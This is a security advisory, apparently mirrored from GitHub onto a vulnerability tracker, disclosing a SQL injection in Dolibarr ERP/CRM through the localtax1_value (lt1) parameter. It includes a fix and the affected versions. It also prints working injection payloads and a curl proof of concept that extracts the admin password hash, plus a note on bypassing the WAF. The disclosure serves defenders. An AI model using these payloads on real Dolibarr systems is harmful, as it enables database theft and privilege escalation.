GHSA-V5FQ-CF5M-VWV7

Vulnerability from github – Published: 2026-10-27 13:29 – Updated: 2026-11-05 21:42
VLAI
Summary
Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter
Details

Summary

A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The localtax1_value parameter (lt1) is concatenated directly into an SQL UPDATE statement in societe/class/societe.class.php at line 1672 without any escaping, type casting, or parameterized query binding.

An authenticated user with standard "Third Party: Create/Edit" permission can extract any data from the database, including password hashes, API keys, and all business data.

Tested on Dolibarr v23.0.0 (latest stable), default installation via official Docker image, MariaDB 10.11. No custom modules, no modified configuration.

### Details

Vulnerable code (societe/class/societe.class.php, line 1672): php $sql .= ",localtax1_value =".$this->localtax1_value;

The value comes from GETPOST('lt1', 'alpha') (societe/card.php, line 1135). The only sanitization applied is trim() at line 1528 — no (float) cast, no $db->escape().

The alpha input filter strips HTML tags and double quotes but does not strip single quotes, parentheses, commas, or SQL keywords. Since the injection point is in a numeric SQL context (no quotes around the value), the attacker needs none of the filtered characters.

Why the WAF does not block this: Dolibarr's WAF (waf.inc.php) only checks SQL injection patterns in GET parameters, not POST. The POST-based lt1 parameter bypasses it entirely.

The same vulnerability exists for localtax2_value (parameter lt2) at line 1682.

Adjacent fields like localtax1_assuj are properly cast to (int), showing the developers were aware of injection risk but missed these fields.

### PoC

Steps to reproduce:

  1. Install Dolibarr v23.0.0 (tested with official Docker image, MariaDB 10.11)
  2. Log in with a user that has "Third Parties: Create/Edit" permission (standard user, not admin)
  3. Create or open any existing Third Party (company) record
  4. Click "Edit" on the company card to open the update form
  5. Intercept the POST request (e.g., Burp Suite) and add these parameters to the request body:
    • localtax1assuj_value=1
    • lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)
  6. Submit the form (server responds with HTTP 302 Found — successful update)
  7. Navigate to the company's Notes tab — the admin's MD5 password hash is now visible in the "Private Note" field

Verification: echo -n "admin123" | md5sum → 0192023a7bbd73250516f069df18b500 (matches exfiltrated hash).

Figure 1 — Notes tab before exploitation (Private Note field is empty):

Notes tab after exploitation — admin password hash exfiltrated

Figure 2 — Burp Suite Repeater: full POST request headers and HTTP 302 Found response:

22

Figure 3 — Burp Suite Repeater: request body with injected localtax1assuj_value=1 and lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1):

33

Figure 4 — Notes tab after exploitation: Private Note now contains 0192023a7bbd73250516f069df18b500 (MD5 hash of admin password "admin123"):

1

curl PoC: bash curl -b cookies.txt \ --data-urlencode "action=update" \ --data-urlencode "token=CSRF_TOKEN" \ --data-urlencode "socid=1" \ --data-urlencode "name=TestCompany" \ --data-urlencode "status=1" \ --data-urlencode "localtax1assuj_value=1" \ --data-urlencode "lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)" \ --data-urlencode "client=1" \ --data-urlencode "typent_id=0" \ "http://TARGET/societe/card.php?socid=1"

Additional proof — arithmetic evaluation: Sending lt1=3+4 results in localtax1_value=7.0000 stored in the database. The expression was evaluated by the SQL engine, confirming injection.

Additional proof — user count exfiltration: Sending lt1=(SELECT COUNT(*) FROM llx_user) results in localtax1_value=1.0000.

### Impact

An attacker with basic "Third Party: Create/Edit" permission (standard user, not admin) can:

  • Read any data from the database (password hashes, API keys, customer/supplier data, invoices, bank account details)
  • Modify any database record via additional SET clauses in the UPDATE injection
  • Escalate to admin by cracking MD5 password hashes (Dolibarr uses unsalted MD5 by default)
  • Potentially achieve RCE via admin features (Website module PHP injection, ModuleBuilder) after privilege escalation

### Suggested Fix

```php // societe.class.php, line 1528 — add (float) cast: $this->localtax1_value = (float) price2num(trim($this->localtax1_value));

// societe.class.php, line 1672 — add (float) cast: $sql .= ",localtax1_value =".((float) $this->localtax1_value); ```

Apply same fix for localtax2_value (lines 1529, 1682).

### Credit

Please credit this finding to: Grzegorz Tworek (F3715H) sec4check (grzegorz.tworek@sec4check.pl)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "dolibarr/dolibarr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "22.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "dolibarr/dolibarr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "23.0.0"
            },
            {
              "fixed": "23.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-27T13:29:25Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n  A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The `localtax1_value` parameter (`lt1`) is concatenated\n  directly into an SQL UPDATE statement in `societe/class/societe.class.php` at line 1672 without any escaping, type casting, or parameterized query binding.\n\n  An authenticated user with standard \"Third Party: Create/Edit\" permission can extract any data from the database, including password hashes, API keys, and all\n  business data.\n\n  Tested on Dolibarr v23.0.0 (latest stable), default installation via official Docker image, MariaDB 10.11. No custom modules, no modified configuration.\n\n  ### Details\n\n  **Vulnerable code** (`societe/class/societe.class.php`, line 1672):\n  ```php\n  $sql .= \",localtax1_value =\".$this-\u003elocaltax1_value;\n  ```\n\n  The value comes from `GETPOST(\u0027lt1\u0027, \u0027alpha\u0027)` (`societe/card.php`, line 1135). The only sanitization applied is `trim()` at line 1528 \u2014 no `(float)` cast, no\n  `$db-\u003eescape()`.\n\n  The `alpha` input filter strips HTML tags and double quotes but does **not** strip single quotes, parentheses, commas, or SQL keywords. Since the injection point is\n   in a numeric SQL context (no quotes around the value), the attacker needs none of the filtered characters.\n\n  **Why the WAF does not block this:** Dolibarr\u0027s WAF (`waf.inc.php`) only checks SQL injection patterns in **GET** parameters, not POST. The POST-based `lt1`\n  parameter bypasses it entirely.\n\n  **The same vulnerability exists** for `localtax2_value` (parameter `lt2`) at line 1682.\n\n  Adjacent fields like `localtax1_assuj` are properly cast to `(int)`, showing the developers were aware of injection risk but missed these fields.\n\n  ### PoC\n\n  **Steps to reproduce:**\n\n  1. Install Dolibarr v23.0.0 (tested with official Docker image, MariaDB 10.11)\n  2. Log in with a user that has \"Third Parties: Create/Edit\" permission (standard user, not admin)\n  3. Create or open any existing Third Party (company) record\n  4. Click \"Edit\" on the company card to open the update form\n  5. Intercept the POST request (e.g., Burp Suite) and add these parameters to the request body:\n     - `localtax1assuj_value=1`\n     - `lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)`\n  6. Submit the form (server responds with HTTP 302 Found \u2014 successful update)\n  7. Navigate to the company\u0027s Notes tab \u2014 the admin\u0027s MD5 password hash is now visible in the \"Private Note\" field\n\n  **Verification:** `echo -n \"admin123\" | md5sum` \u2192 `0192023a7bbd73250516f069df18b500` (matches exfiltrated hash).\n\n**Figure 1 \u2014 Notes tab before exploitation (Private Note field is empty):**\n\n\u003cimg width=\"1372\" height=\"822\" alt=\"Notes tab after exploitation \u2014 admin password hash exfiltrated\"\nsrc=\"https://github.com/user-attachments/assets/d39502c1-bee0-4eae-a82a-40a026299841\" /\u003e\n\n**Figure 2 \u2014 Burp Suite Repeater: full POST request headers and HTTP 302 Found response:**\n\n\u003cimg width=\"1095\" height=\"732\" alt=\"22\" src=\"https://github.com/user-attachments/assets/86386423-bfa3-45fc-a2a9-9e2d1a1e1899\" /\u003e\n\n**Figure 3 \u2014 Burp Suite Repeater: request body with injected `localtax1assuj_value=1` and `lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)`:**\n\n\u003cimg width=\"1095\" height=\"727\" alt=\"33\" src=\"https://github.com/user-attachments/assets/e82e14fc-d8b4-46e7-a507-d11689e254d3\" /\u003e\n\n**Figure 4 \u2014 Notes tab after exploitation: Private Note now contains `0192023a7bbd73250516f069df18b500` (MD5 hash of admin password \"admin123\"):**\n\n\u003cimg width=\"1381\" height=\"819\" alt=\"1\" src=\"https://github.com/user-attachments/assets/ca77a120-21b9-4574-b37f-4347930f27aa\" /\u003e\n\n\n  **curl PoC:**\n  ```bash\n  curl -b cookies.txt \\\n    --data-urlencode \"action=update\" \\\n    --data-urlencode \"token=CSRF_TOKEN\" \\\n    --data-urlencode \"socid=1\" \\\n    --data-urlencode \"name=TestCompany\" \\\n    --data-urlencode \"status=1\" \\\n    --data-urlencode \"localtax1assuj_value=1\" \\\n    --data-urlencode \"lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)\" \\\n    --data-urlencode \"client=1\" \\\n    --data-urlencode \"typent_id=0\" \\\n    \"http://TARGET/societe/card.php?socid=1\"\n  ```\n\n  **Additional proof \u2014 arithmetic evaluation:**\n  Sending `lt1=3+4` results in `localtax1_value=7.0000` stored in the database. The expression was evaluated by the SQL engine, confirming injection.\n\n  **Additional proof \u2014 user count exfiltration:**\n  Sending `lt1=(SELECT COUNT(*) FROM llx_user)` results in `localtax1_value=1.0000`.\n\n  ### Impact\n\n  An attacker with basic \"Third Party: Create/Edit\" permission (standard user, not admin) can:\n\n  - **Read** any data from the database (password hashes, API keys, customer/supplier data, invoices, bank account details)\n  - **Modify** any database record via additional SET clauses in the UPDATE injection\n  - **Escalate** to admin by cracking MD5 password hashes (Dolibarr uses unsalted MD5 by default)\n  - **Potentially achieve RCE** via admin features (Website module PHP injection, ModuleBuilder) after privilege escalation\n\n  ### Suggested Fix\n\n  ```php\n  // societe.class.php, line 1528 \u2014 add (float) cast:\n  $this-\u003elocaltax1_value = (float) price2num(trim($this-\u003elocaltax1_value));\n\n  // societe.class.php, line 1672 \u2014 add (float) cast:\n  $sql .= \",localtax1_value =\".((float) $this-\u003elocaltax1_value);\n  ```\n\n  Apply same fix for `localtax2_value` (lines 1529, 1682).\n\n  ### Credit\n\n  Please credit this finding to: **Grzegorz Tworek (F3715H) sec4check** (grzegorz.tworek@sec4check.pl)",
  "id": "GHSA-v5fq-cf5m-vwv7",
  "modified": "2026-11-05T21:42:06Z",
  "published": "2026-10-27T13:29:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-v5fq-cf5m-vwv7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Dolibarr/dolibarr/commit/a06b14b7dc39d33f8fa00c9b27f2913b494885cb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Dolibarr/dolibarr/commit/c83c13305240c2c0a3779e678b57238b32d15e7c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Dolibarr/dolibarr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Dolibarr/dolibarr/releases/tag/22.0.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Dolibarr/dolibarr/releases/tag/23.0.2"
    },
    {
      "type": "WEB",
      "url": "https://www.sec4check.pl/blog/posts/cve-dolibarr-sql-injection-localtax-third-party.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.